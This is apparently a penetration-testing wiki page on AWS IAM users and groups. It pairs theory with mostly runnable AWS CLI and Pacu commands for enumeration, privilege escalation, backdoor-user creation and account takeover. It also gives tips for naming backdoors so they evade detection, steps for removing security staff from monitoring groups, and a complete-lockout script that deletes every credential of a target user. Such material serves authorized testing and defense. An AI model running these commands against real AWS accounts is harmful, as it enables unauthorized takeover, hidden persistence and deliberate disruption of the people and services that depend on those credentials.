# Users & Groups

## Theory

### IAM Users

[IAM Users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) represent permanent identities within an AWS account, typically corresponding to individual people or applications that require long-term access to AWS resources. Unlike roles which provide temporary credentials, users have persistent credentials including passwords for console access and access keys for programmatic access. Each user is uniquely identified by a username within the account, an [ARN](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html) in the format `arn:aws:iam::123456789012:user/username`, and an immutable UserID starting with `AIDA` that persists even if the user is renamed.

When you create an IAM user, it starts with no permissions whatsoever. AWS follows the principle of implicit deny by default. Permissions must be explicitly granted through one or more mechanisms: managed policies attached directly to the user, inline policies embedded within the user entity itself, or permissions inherited from group memberships. This multi-layered approach allows for flexible permission management while maintaining security through the least privilege principle.

IAM users can have several types of credentials attached to them. A [login profile](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_passwords.html) provides password-based access to the AWS Management Console, with configurable password policies including complexity requirements, expiration, and reuse prevention. For programmatic access, users can have up to two [access keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html) simultaneously, which is useful during key rotation. Additionally, [MFA devices](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html) can be attached to users to require multi-factor authentication for console access or sensitive API operations.

From a security perspective, IAM users represent a significant attack surface. Unlike temporary role credentials that expire automatically, user credentials persist until explicitly deleted or rotated. This permanence creates risks including credential exposure through accidental commits to GitHub repositories, hardcoded credentials in application configuration files, credentials leaked in logs or error messages, and stale credentials from former employees or decommissioned applications. Additionally, users with permissions to create or modify other users can potentially escalate their privileges or establish persistence through backdoor accounts.

### IAM Groups

[IAM Groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) are collections of IAM users that simplify permission management at scale. Rather than attaching policies to each user individually, you can organize users into groups based on job function, department, or privilege level, then attach policies to the group itself. Any user who is a member of the group automatically inherits all permissions granted to that group, making it easy to ensure consistent permissions across teams.

It's important to understand that groups are not true AWS identities in the same way that users and roles are. Groups have no credentials of their own and cannot be authenticated as principals. You cannot assume a group, and you cannot specify a group as the principal in a resource-based policy or trust policy. Groups exist purely as organizational constructs within IAM for permission management convenience. They're identified by a group name and an ARN in the format `arn:aws:iam::123456789012:group/groupname`.

A single user can belong to multiple groups simultaneously, and AWS will evaluate all policies from all groups when determining the user's effective permissions. However, groups cannot be nested within other groups—AWS maintains a flat group structure. This means you cannot create a hierarchy of groups like "Developers → Senior Developers → Team Leads." Instead, you must assign users directly to each relevant group and use policy conditions or permission boundaries if you need more granular control.

The security implications of groups center around their role in privilege escalation paths. An attacker who gains permissions to add users to groups (through `iam:AddUserToGroup`) can elevate their privileges by adding their compromised user to a more privileged group like "Administrators." Similarly, the ability to modify group policies (`iam:PutGroupPolicy` or `iam:AttachGroupPolicy`) allows an attacker to grant additional permissions to all members of a group, potentially affecting multiple users at once. Groups also provide a subtle persistence mechanism, even if you remove explicit policies from a user, they may still retain permissions through group memberships that might be overlooked during incident response.

### Permission Inheritance and Evaluation

When an IAM user makes an AWS API request, AWS evaluates all applicable policies to determine whether to allow or deny the request. For users who are members of groups, this evaluation includes policies from multiple sources. AWS collects all identity-based policies attached directly to the user, all inline policies embedded in the user, and all policies attached to every group the user belongs to. These policies are logically combined using a union operation—the user's effective permissions are the sum of all allowed actions across all these policies.

However, this union of permissions is subject to critical restrictions. If any policy contains an explicit `Deny` statement that matches the request, the request is denied regardless of any `Allow` statements. This explicit deny always takes precedence. Additionally, if [permission boundaries](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html) are configured for the user, the effective permissions become an intersection of the identity-based policies and the boundary. The user can only perform actions that are allowed by both. The same intersection logic applies when [Service Control Policies (SCPs)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) are in effect at the AWS Organizations level.

This complex evaluation logic creates both security opportunities and risks. Organizations can use permission boundaries to set maximum privilege limits that cannot be exceeded, even if a user gains additional policy attachments. But attackers who understand this logic can identify which permissions to target for privilege escalation. For example, if a user has a permission boundary that allows `iam:*`, an attacker only needs to gain `iam:AttachUserPolicy` to attach any policy they want, since the boundary won't restrict them. Understanding the full permission evaluation chain is essential for both defense and offense.

### User and Group Metadata

IAM users and groups contain various metadata fields that provide valuable information for both legitimate administration and reconnaissance. For users, the [CreateDate](https://docs.aws.amazon.com/IAM/latest/APIReference/API_User.html) field indicates when the user was created, the PasswordLastUsed field shows when the user last logged into the console, and [Tags](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_tags.html) can contain arbitrary key-value pairs that might reveal information about the user's purpose or department. Users also have a Path attribute that can be used to organize users into hierarchies like `/division/department/`, though this is purely organizational and has no security impact.

Access key metadata is particularly valuable for attackers. The [ListAccessKeys](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListAccessKeys.html) API reveals access key IDs, creation dates, and status (Active/Inactive) for all keys attached to a user. The [GetAccessKeyLastUsed](https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccessKeyLastUsed.html) API shows when and where a specific access key was last used, including the service that was accessed and the region. This information helps attackers identify stale credentials that might not be actively monitored, or understand which credentials are most valuable based on their usage patterns.

For groups, metadata is simpler but still useful. The CreateDate shows when the group was created, and the group's attached policies reveal its privilege level. By examining which users belong to which groups and what policies are attached, an attacker can map out the privilege structure of an organization and identify high-value targets. Groups with names like "Administrators," "SecurityAudit," or "Developers" immediately reveal their purpose and potential privilege level.

## Practice

{% hint style="info" %}
The enumeration techniques described in this section require authenticated access to the AWS account. If you don't have credentials yet, you can enumerate IAM users **without authentication** using resource-based policy validation techniques.

See the dedicated [Unauthenticated Enumeration](https://red.infiltr8.io/cloud-cicd-pentesting/aws/reconnaissance/unauthenticated-enumeration) page for techniques to discover valid IAM users, roles, and root user emails in a target account without any credentials.
{% endhint %}

### Enumerating Users

The first step in attacking IAM users is discovering which users exist in the account and what permissions they have. This reconnaissance provides the foundation for identifying privilege escalation paths and understanding the account's security posture.

{% tabs %}
{% tab title="AWS CLI" %}
The AWS CLI provides straightforward methods to enumerate all users in the account. This basic enumeration reveals user names, ARNs, creation dates, and user IDs, giving you an initial inventory of potential targets.

```bash
# List all IAM users in the account
aws iam list-users

# Get detailed information about a specific user
aws iam get-user --user-name target-user

# Get the current authenticated user's identity
aws iam get-user
# This returns the username even without arguments

# List all users and extract just their usernames
aws iam list-users --query 'Users[*].UserName' --output table

# Find users created in the last 30 days (requires jq)
aws iam list-users --output json | jq -r '.Users[] | select(.CreateDate | fromdateiso8601 > (now - 2592000)) | .UserName'

# Check password last used for all users to find stale accounts
aws iam list-users --output json | jq -r '.Users[] | "\(.UserName): \(.PasswordLastUsed // "Never")"'
```

The `list-users` operation returns a wealth of metadata including the CreateDate which reveals when the user was created, the PasswordLastUsed timestamp showing console activity, the Path for organizational hierarchy, and any Tags that might contain sensitive information about the user's purpose. Look for recently created users that might indicate response to a compromise, or very old users that might be forgotten and have weak passwords.
{% endtab %}

{% tab title="Pacu" %}
[Pacu's](https://github.com/rhinosecuritylabs/pacu) IAM enumeration module automates user discovery and provides a comprehensive view of all users, their permissions, group memberships, and attached policies in a single operation.

```bash
# Launch Pacu
pacu

# Run comprehensive IAM enumeration
run iam__enum_users_roles_policies_groups
```

Pacu stores all enumerated data in its database, allowing you to query and analyze it later. The module automatically identifies high-privilege users based on attached policies, finds users with console access but no MFA, and highlights potential security misconfigurations like inactive access keys that are still enabled.
{% endtab %}

{% tab title="ScoutSuite" %}
[ScoutSuite](https://github.com/nccgroup/scoutsuite) performs comprehensive security audits of IAM users and generates a detailed HTML report highlighting security issues including users without MFA, stale credentials, and overly permissive policies.

```bash
# Run ScoutSuite IAM audit
scout iam --profile default

# Generate report for specific regions only
scout iam --profile default --regions us-east-1,us-west-2

# Run with specific services (IAM is global)
scout iam --profile default --services iam
```

The generated report includes sections for users with console access but no MFA, users with old access keys that should be rotated, users with inline policies (which violate best practices), and users with administrator access. The report also shows user activity based on password last used and access key last used timestamps, helping identify dormant accounts.
{% endtab %}

{% tab title="CloudFox" %}
[CloudFox](https://github.com/BishopFox/cloudfox) provides specialized enumeration focused on identifying privilege relationships and potential attack paths involving IAM users.

```bash
# Enumerate all IAM principals (users, roles, groups)
cloudfox aws -p default principals

# Enumerate IAM users specifically
cloudfox aws -p default iam-users

# Find all users with admin-level access
cloudfox aws -p default permissions --principal-type user --admin-only

# Map out group memberships and permissions
cloudfox aws -p default resource-trusts --resource-type iam-group
```

CloudFox excels at visualizing relationships between users, groups, and permissions. It can generate graphs showing which users belong to which groups, and which policies grant which permissions. This visualization makes it easy to identify privilege escalation paths that might not be obvious from raw API output.
{% endtab %}
{% endtabs %}

### Enumerating User Permissions

Once you've identified the users in an account, the next critical step is understanding what permissions each user has. This tells you what actions you can currently perform and what additional permissions you might need to escalate privileges.

{% tabs %}
{% tab title="AWS CLI" %}
Enumerating user permissions requires querying multiple API endpoints to collect all managed policies, inline policies, and group-inherited permissions, then combining them to understand the user's effective permissions.

```bash
# List all managed policies attached to a user
aws iam list-attached-user-policies --user-name target-user

# List all inline policies for a user
aws iam list-user-policies --user-name target-user

# Get the content of a specific inline policy
aws iam get-user-policy --user-name target-user --policy-name inline-policy-name

# List all groups the user belongs to
aws iam list-groups-for-user --user-name target-user

# For each group, list attached policies
aws iam list-attached-group-policies --group-name group-name

# Get policy document for a specific policy version
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/policy-name --version-id v1
```

To get a complete picture, you need to enumerate managed policies attached to the user, inline policies embedded in the user, all groups the user belongs to, and all policies attached to those groups. Then retrieve the actual policy documents to see what actions and resources are allowed. This manual process can be tedious for users with many group memberships.
{% endtab %}

{% tab title="Pacu" %}
[Pacu's](https://github.com/rhinosecuritylabs/pacu) permission enumeration module automatically collects and analyzes all permissions from managed policies, inline policies, and group memberships, providing a clear view of what the user can do.

```bash
run iam__enum_permissions --user-name target-user

# Automatically checks for privilege escalation opportunities
run iam__privesc_scan
```

The `iam__enum_permissions` module retrieves all policy documents, parses them, and presents a unified view of allowed actions. It highlights wildcard permissions like `s3:*` or `iam:*` that grant broad access. The `iam__privesc_scan` module goes further by analyzing these permissions and identifying specific privilege escalation methods you can use based on your current access.
{% endtab %}

{% tab title="enumerate-iam" %}
The enumerate-iam tool takes a different approach by actively testing permissions through brute force. Rather than relying on policy documents, it attempts thousands of API calls to determine exactly what actions you can perform.

```bash
# Bruteforce current user's permissions
enumerate-iam --access-key AKIA... --secret-key ...

# Test specific services only
enumerate-iam --access-key AKIA... --secret-key ... --services iam,s3,ec2

# Save results to file
enumerate-iam --access-key AKIA... --secret-key ... --output results.txt
```

This approach is valuable when you don't have permissions to read IAM policies (iam:GetPolicy, iam:GetUserPolicy), but you want to discover what you can actually do. The tool makes read-only API calls for hundreds of different actions and records which ones succeed. This can reveal permissions granted through resource-based policies or service control policies that wouldn't appear in identity-based policy documents.&#x20;

{% hint style="danger" %}
However, be aware that this generates significant CloudTrail logs and may trigger security alerts.
{% endhint %}
{% endtab %}
{% endtabs %}

### Enumerating Groups

Understanding which groups exist and what permissions they have reveals organizational structure and potential privilege escalation paths through group membership manipulation.

{% tabs %}
{% tab title="AWS CLI" %}
Enumerating groups involves listing all groups, examining their members, and analyzing their attached policies to understand the privilege landscape.

```bash
# List all IAM groups
aws iam list-groups

# Get detailed information about a specific group
aws iam get-group --group-name Administrators

# List all users in a specific group
aws iam get-group --group-name Administrators --query 'Users[*].UserName'

# List all managed policies attached to a group
aws iam list-attached-group-policies --group-name Administrators

# List all inline policies for a group
aws iam list-group-policies --group-name Administrators

# Get the content of a group's inline policy
aws iam get-group-policy --group-name Administrators --policy-name inline-policy-name
```

Pay special attention to groups with names suggesting elevated privileges like "Administrators," "PowerUsers," "Developers," or "SecurityAudit." Also look for groups with broad IAM permissions (`iam:*`) or administrator access (`arn:aws:iam::aws:policy/AdministratorAccess`), as these are prime targets for privilege escalation through AddUserToGroup.
{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu)'s IAM enumeration automatically maps out all groups, their members, and their permissions, providing a complete view of group-based permission inheritance.

```bash
run iam__enum_users_roles_policies_groups
```

Pacu highlights groups that grant administrative or highly privileged access, making it easy to identify which groups you'd want to add your user to for privilege escalation. It also shows which users belong to multiple privileged groups, indicating high-value targets for credential compromise.
{% endtab %}

{% tab title="ScoutSuite" %}
[ScoutSuite](https://github.com/nccgroup/scoutsuite) audits groups for security issues including overly broad permissions, groups with only one member (suggesting the group is unnecessary), and groups with inline policies that violate best practices.

```bash
scout iam --profile default

# Review the "Groups" section of the generated report
```

The ScoutSuite report identifies groups with administrator access, groups that have both managed and inline policies (increasing complexity), and groups with very few members that might indicate abandoned organizational structures. It also shows groups with permissions to modify IAM policies or users, which are key targets for privilege escalation.
{% endtab %}
{% endtabs %}

### Enumerating Access Keys

Access keys are the credentials used for programmatic access, and discovering which keys exist, their status, and usage patterns reveals attack opportunities and persistence mechanisms.

{% tabs %}
{% tab title="AWS CLI" %}
Enumerating access keys requires querying each user individually to see their keys, then optionally checking when those keys were last used.

```bash
# List access keys for a specific user
aws iam list-access-keys --user-name target-user

# List access keys for the current authenticated user
aws iam list-access-keys

# Check when a specific access key was last used
aws iam get-access-key-last-used --access-key-id AKIAIOSFODNN7EXAMPLE

# Enumerate all users and their access keys (requires jq)
aws iam list-users --query 'Users[*].UserName' --output text | while read user; do
  echo "User: $user"
  aws iam list-access-keys --user-name "$user" 2>/dev/null
done

# Find inactive access keys across all users
aws iam list-users --query 'Users[*].UserName' --output text | while read user; do
  aws iam list-access-keys --user-name "$user" --query 'AccessKeyMetadata[?Status==`Inactive`]' 2>/dev/null
done
```

The ListAccessKeys API returns the access key ID, creation date, and status (Active or Inactive) for each key. Users can have up to two access keys, which is often used during key rotation. The GetAccessKeyLastUsed API reveals the last date, time, service, and region where the key was used, helping identify stale credentials that might not be monitored.
{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) automatically enumerates all access keys across all users, identifies stale or unused keys, and flags security issues like keys that have never been rotated.

```bash
run iam__enum_users_roles_policies_groups

# Pacu will report:
# - All access keys for all enumerated users
# - Key status (Active/Inactive)
# - Key age (creation date)
# - Keys that haven't been used recently
```

Pacu's enumeration identifies old access keys that violate security best practices (AWS recommends rotating keys every 90 days), keys that have never been used (suggesting they were created but forgotten), and users with two active keys (which might indicate incomplete rotation). These represent opportunities for credential compromise or privilege escalation if you can update or create keys.
{% endtab %}
{% endtabs %}

### CreateUser - Creating Backdoor Users

If you have the `iam:CreateUser` permission, you can create a new IAM user in the account. This is a powerful privilege escalation technique because you can create a user with a known password and access keys, then attach policies to grant that user whatever permissions you want (subject to your own permissions on policy attachment).

{% tabs %}
{% tab title="AWS CLI" %}
Creating a backdoor user involves creating the user entity, creating access keys for programmatic access, optionally creating a login profile for console access, and attaching policies to grant permissions.

```bash
# Create a new IAM user
aws iam create-user --user-name backdoor-user

# Create access keys for the new user
aws iam create-access-key --user-name backdoor-user
# Save the returned AccessKeyId and SecretAccessKey - they're only shown once

# Create a login profile with password for console access
aws iam create-login-profile --user-name backdoor-user --password 'ComplexP@ssw0rd123!' --no-password-reset-required

# Attach an existing managed policy to grant permissions
aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Or create and attach an inline policy
aws iam put-user-policy --user-name backdoor-user --policy-name admin-policy --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}'
```

The newly created user provides persistent backdoor access even if your original credentials are revoked. To avoid detection, consider using subtle naming like "aws-service-user" or "backup-automation" that blends in with legitimate service accounts. Also avoid attaching obviously powerful policies like AdministratorAccess, instead grant only the specific permissions you need, which is less likely to trigger alerts.
{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) can automate the backdoor user creation process, including generating strong random passwords and storing the credentials for later use.

```bash
# Create a backdoor user with full administrator access
run iam__backdoor_users --user-name backdoor-user

# Pacu will automatically:
# - Create the user
# - Create access keys
# - Create a login profile with a random password
# - Attach the AdministratorAccess policy (or a custom policy)
# - Store all credentials in the Pacu database
```

The module allows you to specify which policies to attach and whether to create console access, programmatic access, or both. It also provides options for subtle naming and avoiding detection by limiting the permissions granted.
{% endtab %}
{% endtabs %}

### CreateLoginProfile - Password Reset Attack

If you have `iam:CreateLoginProfile` permission for a user who doesn't currently have console access, you can create a login profile with a password you control, effectively taking over their console access. This works for users created for programmatic access only who never had a console password set.

{% tabs %}
{% tab title="AWS CLI" %}
This technique is particularly effective against service accounts or application users that were created with access keys but no console password. These accounts often have broad permissions for automation purposes but are rarely monitored for console login activity. By setting the `--no-password-reset-required` flag, you avoid forcing a password change on first login, which could alert the user if they later attempt to access the console.

```bash
# Create a login profile for a user without console access
aws iam create-login-profile --user-name target-user --password 'YourPassword123!' --no-password-reset-required

# Now you can login to the AWS Console as that user
# URL: https://ACCOUNT-ID.signin.aws.amazon.com/console
```

{% endtab %}
{% endtabs %}

### UpdateLoginProfile - Password Change Attack

If you have `iam:UpdateLoginProfile` permission, you can change the password for any user that already has console access, effectively taking over their account.

{% tabs %}
{% tab title="AWS CLI" %}
Unlike CreateLoginProfile which only works on users without console access, UpdateLoginProfile targets users who already have a login profile. This is more likely to be noticed because the legitimate user will be locked out when their password stops working. However, it provides immediate access to any permissions the target user has, including console-based workflows and MFA-protected operations if you can satisfy the MFA requirement.

```bash
# Change the password for a target user
aws iam update-login-profile --user-name target-user --password 'NewPassword123!' --no-password-reset-required

# Now login with the new password
```

To reduce detection risk, you could change the password, perform your malicious actions quickly, then change it back to the original password. However, you'd need to know the original password hash, which isn't available through the API. A more subtle approach is to target dormant accounts that haven't logged in recently (check PasswordLastUsed) where the password change is less likely to be noticed.
{% endtab %}
{% endtabs %}

### AddUserToGroup - Privilege Escalation via Group Membership

If you have the `iam:AddUserToGroup` permission, you can add any user (including your own) to any group, instantly inheriting all permissions attached to that group. This is one of the most straightforward privilege escalation techniques when high-privilege groups exist.

{% tabs %}
{% tab title="AWS CLI" %}
The escalation involves identifying a high-privilege group, then adding your user to that group to inherit its permissions immediately.

```bash
# First, enumerate groups to find high-privilege ones
aws iam list-groups

# Check what policies are attached to a promising group
aws iam list-attached-group-policies --group-name Administrators

# Add your user to the privileged group
aws iam add-user-to-group --user-name your-user --group-name Administrators

# Verify you're now a member
aws iam list-groups-for-user --user-name your-user

# Your permissions are now updated - test with a privileged action
aws iam list-users
```

The permission change is effective immediately. you don't need to obtain new credentials or assume a new session. Your existing access keys or console session will now have the additional permissions from the group. Look for groups named "Administrators," "PowerUsers," "SecurityAudit," or any group with attached policies like AdministratorAccess or PowerUserAccess.
{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu)'s privilege escalation scanner identifies when you can use AddUserToGroup for privilege escalation and provides step-by-step instructions.

```bash
run iam__privesc_scan

# If AddUserToGroup is available, the output will show:
# - Which groups you can add users to
# - Which groups have administrative permissions
# - The exact command to escalate privileges
```

Pacu can also automate the escalation process, adding your user to the specified group and verifying the new permissions.
{% endtab %}
{% endtabs %}

### AttachUserPolicy - Direct Permission Grant

If you have `iam:AttachUserPolicy` permission, you can attach any AWS managed policy or customer managed policy to any user, including yourself. This provides direct privilege escalation by granting whatever permissions you want, limited only by permission boundaries if they're configured.

{% tabs %}
{% tab title="AWS CLI" %}
This technique requires that the policy you want to attach already exists. You cannot create new managed policies without `iam:CreatePolicy`.&#x20;

However, AWS provides dozens of predefined managed policies including AdministratorAccess (full access), PowerUserAccess (full access except IAM), ReadOnlyAccess, and service-specific policies. If there are custom managed policies in the account, you can attach those as well, potentially granting you permissions the policy creator intended for other users.

```bash
# Attach the AdministratorAccess managed policy to your user
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Or attach a custom policy with specific permissions
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::123456789012:policy/CustomAdminPolicy

# Verify the policy is attached
aws iam list-attached-user-policies --user-name your-user

# Your new permissions are now active
aws iam list-users
```

{% endtab %}
{% endtabs %}

### PutUserPolicy - Inline Policy Privilege Escalation

If you have `iam:PutUserPolicy` permission, you can create or modify inline policies attached directly to users. This allows you to grant yourself or another user arbitrary permissions without needing to attach existing managed policies.

{% tabs %}
{% tab title="AWS CLI" %}
Inline policies are less visible than managed policies in many security tools, making this a slightly more subtle privilege escalation method.&#x20;

Additionally, if you have `iam:PutUserPolicy` but not `iam:AttachUserPolicy`, this may be your only path to escalating privileges through policy manipulation. The policy document can grant any permissions you want, limited only by permission boundaries or SCPs if configured.

```bash
# Create an inline policy granting full administrator access
aws iam put-user-policy --user-name your-user --policy-name admin-access --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}'

# Verify the inline policy is attached
aws iam list-user-policies --user-name your-user

# Get the policy document to confirm
aws iam get-user-policy --user-name your-user --policy-name admin-access

# Your new permissions are now active
```

{% endtab %}
{% endtabs %}

### RemoveUserFromGroup - Denial of Service

If you have `iam:RemoveUserFromGroup` permission, you can remove users from their groups, effectively revoking all group-inherited permissions. This can be used for denial of service attacks against other users, or to cover your tracks by removing users from security monitoring groups

{% tabs %}
{% tab title="AWS CLI" %}
This attack is most effective against users who derive all or most of their permissions from group memberships rather than directly attached policies.&#x20;

Removing them from their groups can render them unable to perform their job functions, causing operational disruption. It can also be used defensively by an attacker to remove security team members from groups that grant access to CloudTrail, GuardDuty, or other monitoring services, making it harder for the organization to detect the ongoing attack.

```bash
# Remove a user from their administrative group
aws iam remove-user-from-group --user-name admin-user --group-name Administrators

# Remove a user from multiple groups
for group in Administrators SecurityAudit Developers; do
  aws iam remove-user-from-group --user-name target-user --group-name $group
done

# Verify the user has been removed
aws iam list-groups-for-user --user-name target-user
```

{% endtab %}
{% endtabs %}

### DeleteUser - Account Destruction

If you have `iam:DeleteUser` and related permissions, you can delete IAM users to cause denial of service or destroy evidence. However, deleting a user requires first removing all of its dependencies including group memberships, attached policies, inline policies, access keys, login profiles, MFA devices, and SSH keys.

{% tabs %}
{% tab title="AWS CLI" %}
This comprehensive deletion process requires multiple IAM permissions including `iam:RemoveUserFromGroup`, `iam:DetachUserPolicy`, `iam:DeleteUserPolicy`, `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, and `iam:DeleteUser`. Having all of these permissions is relatively uncommon, but if you do have them, you can cause significant disruption by deleting critical users.&#x20;

Be aware that this generates extensive CloudTrail logs and is highly likely to trigger alerts in any monitored environment.

```bash
# To delete a user, first remove all dependencies

# Remove from all groups
aws iam list-groups-for-user --user-name target-user --query 'Groups[*].GroupName' --output text | while read group; do
  aws iam remove-user-from-group --user-name target-user --group-name $group
done

# Detach all managed policies
aws iam list-attached-user-policies --user-name target-user --query 'AttachedPolicies[*].PolicyArn' --output text | while read policy; do
  aws iam detach-user-policy --user-name target-user --policy-arn $policy
done

# Delete all inline policies
aws iam list-user-policies --user-name target-user --query 'PolicyNames[*]' --output text | while read policy; do
  aws iam delete-user-policy --user-name target-user --policy-name $policy
done

# Delete all access keys
aws iam list-access-keys --user-name target-user --query 'AccessKeyMetadata[*].AccessKeyId' --output text | while read key; do
  aws iam delete-access-key --user-name target-user --access-key-id $key
done

# Delete login profile
aws iam delete-login-profile --user-name target-user 2>/dev/null

# Finally, delete the user
aws iam delete-user --user-name target-user
```

{% endtab %}
{% endtabs %}

### Targeted Credential Deletion - Selective Denial of Service

Rather than deleting entire users, you can selectively delete specific credential types to disrupt access while being more subtle. This approach targets individual authentication methods, making it harder to detect and diagnose, while still preventing legitimate access.

{% tabs %}
{% tab title="DeleteLoginProfile" %}
The `iam:DeleteLoginProfile` permission allows you to remove a user's console password, preventing them from logging into the AWS Management Console while leaving their programmatic access intact.

```bash
# Delete console access for a user
aws iam delete-login-profile --user-name target-user

# This prevents console login but:
# - Access keys still work for CLI/SDK
# - Service-specific credentials still work
# - SSH keys still work for CodeCommit

# Verify deletion
aws iam get-login-profile --user-name target-user
# Output: NoSuchEntity error confirms deletion
```

This technique is particularly effective against administrators who primarily use the web console for day-to-day operations. They'll be locked out of the console but may not immediately realize why if they don't frequently use the CLI. The disruption is targeted, only console access is affected., which can delay detection compared to complete account lockout.

To maximize impact, target users who:

* Have MFA configured for console but not API access
* Primarily use the AWS web console for administrative tasks
* Manage resources through CloudFormation or other console-based workflows
  {% endtab %}

{% tab title="DeleteAccessKey" %}
The `iam:DeleteAccessKey` permission allows you to delete a user's access keys, preventing all programmatic access including AWS CLI, SDKs, and API calls.

```bash
# List user's access keys
aws iam list-access-keys --user-name target-user

# Delete all access keys
aws iam list-access-keys --user-name target-user --query 'AccessKeyMetadata[*].AccessKeyId' --output text | while read key; do
  echo "Deleting key: $key"
  aws iam delete-access-key --user-name target-user --access-key-id $key
done

# Verify deletion
aws iam list-access-keys --user-name target-user
# Output: empty list
```

This is more disruptive than deleting login profiles because it breaks:

* All automation and scripts using those credentials
* CI/CD pipelines configured with the access keys
* Applications and services authenticating with the keys
* Third-party integrations using the credentials

The impact is immediate and widespread across all systems using those credentials. However, it's also more likely to be quickly detected because automated systems will start failing immediately, generating alerts from application monitoring tools.
{% endtab %}

{% tab title="DeleteSSHPublicKey" %}
The `iam:DeleteSSHPublicKey` permission allows you to delete SSH public keys used for AWS CodeCommit authentication, preventing Git repository access.

```bash
# List user's SSH public keys
aws iam list-ssh-public-keys --user-name developer

# Delete all SSH keys
aws iam list-ssh-public-keys --user-name developer --query 'SSHPublicKeys[*].SSHPublicKeyId' --output text | while read keyid; do
  echo "Deleting SSH key: $keyid"
  aws iam delete-ssh-public-key --user-name developer --ssh-public-key-id $keyid
done

# Verify deletion
aws iam list-ssh-public-keys --user-name developer
# Output: empty list
```

This targets developers and DevOps engineers who use Git over SSH for CodeCommit repositories. The impact includes:

This is often overlooked during incident response because teams focus on access keys and console passwords, allowing the disruption to persist longer. Additionally, SSH key deletion is less commonly logged and monitored compared to access key operations.
{% endtab %}

{% tab title="DeleteServiceSpecificCredential" %}
The `iam:DeleteServiceSpecificCredential` permission allows you to delete service-specific credentials like CodeCommit HTTPS credentials, disrupting Git operations over HTTPS.

```bash
# List service-specific credentials
aws iam list-service-specific-credentials --user-name developer

# Delete CodeCommit credentials
aws iam list-service-specific-credentials --user-name developer --service-name codecommit.amazonaws.com --query 'ServiceSpecificCredentials[*].ServiceSpecificCredentialId' --output text | while read credid; do
  echo "Deleting credential: $credid"
  aws iam delete-service-specific-credential --user-name developer --service-specific-credential-id $credid
done

# Verify deletion
aws iam list-service-specific-credentials --user-name developer --service-name codecommit.amazonaws.com
# Output: empty list
```

This prevents HTTPS-based Git operations against CodeCommit, complementing SSH key deletion to completely block repository access. Combined SSH and service-specific credential deletion creates a complete CodeCommit access denial without affecting other AWS services.
{% endtab %}

{% tab title="Combined" %}
For maximum disruption, combine all credential deletion techniques to completely lock a user out of AWS across all access methods.

This script removes all credential types, making the user completely unable to access AWS through any method. The user account still exists (so it doesn't trigger alerts for user deletion), but it's completely unusable until credentials are recreated.

```bash
#!/bin/bash
# complete-lockout.sh - Remove all credential types for a user

TARGET_USER=$1

if [ -z "$TARGET_USER" ]; then
  echo "Usage: $0 <username>"
  exit 1
fi

echo "[*] Locking out user: $TARGET_USER"

# Delete console access
echo "[+] Removing console access..."
aws iam delete-login-profile --user-name $TARGET_USER 2>/dev/null && echo "    ✓ Login profile deleted" || echo "    ✗ No login profile"

# Delete all access keys
echo "[+] Removing access keys..."
aws iam list-access-keys --user-name $TARGET_USER --query 'AccessKeyMetadata[*].AccessKeyId' --output text | while read key; do
  aws iam delete-access-key --user-name $TARGET_USER --access-key-id $key
  echo "    ✓ Deleted access key: $key"
done

# Delete all SSH public keys
echo "[+] Removing SSH keys..."
aws iam list-ssh-public-keys --user-name $TARGET_USER --query 'SSHPublicKeys[*].SSHPublicKeyId' --output text | while read keyid; do
  aws iam delete-ssh-public-key --user-name $TARGET_USER --ssh-public-key-id $keyid
  echo "    ✓ Deleted SSH key: $keyid"
done

# Delete all service-specific credentials
echo "[+] Removing service-specific credentials..."
aws iam list-service-specific-credentials --user-name $TARGET_USER --query 'ServiceSpecificCredentials[*].ServiceSpecificCredentialId' --output text | while read credid; do
  aws iam delete-service-specific-credential --user-name $TARGET_USER --service-specific-credential-id $credid
  echo "    ✓ Deleted service credential: $credid"
done

echo "[*] Lockout complete for $TARGET_USER"
echo "[!] User has no remaining authentication methods"
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html>" %}
